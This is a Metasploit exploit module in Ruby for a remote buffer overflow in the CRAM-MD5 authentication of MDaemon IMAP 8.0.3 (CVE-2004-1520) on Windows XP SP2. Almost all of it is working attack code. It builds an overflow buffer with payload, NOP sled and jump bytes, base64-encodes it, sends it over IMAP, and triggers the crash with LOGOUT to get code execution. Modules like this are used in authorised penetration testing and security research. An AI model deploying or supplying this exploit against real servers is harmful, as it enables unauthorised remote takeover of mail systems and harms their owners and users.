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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Imap
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in the CRAM-MD5
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        authentication of the MDaemon IMAP service. This
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        vulnerability was discovered by Muts.
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      },
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      'Author'         => [ 'Unknown' ],
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      'License'        => BSD_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2004-1520'],
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          [ 'OSVDB', '11838'],
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          [ 'BID', '11675'],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 500,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],
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        ],
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      'DisclosureDate' => '2004-11-12',
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      'DefaultTarget' => 0))
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  end
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  def exploit
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    connect
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    print_status("Asking for CRAM-MD5 authentication...")
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    sock.put("a001 authenticate cram-md5\r\n")
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    res = sock.get_once
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    print_status("Received CRAM-MD5 answer: #{res.chomp}")
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    # Magic no return-address exploitation ninjaness!
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    buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
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    req = Rex::Text.encode_base64(buf) + "\r\n"
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    sock.put(req)
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    res = sock.get_once
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    print_status("Received authentication reply: #{res.chomp}")
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    print_status("Sending LOGOUT to close the thread and trigger an exception")
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    sock.put("a002 LOGOUT\r\n")
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    res = sock.get_once
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    print_status("Received LOGOUT reply: #{res.chomp}")
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    select(nil,nil,nil,1)
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    handler
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    disconnect
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  end
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end
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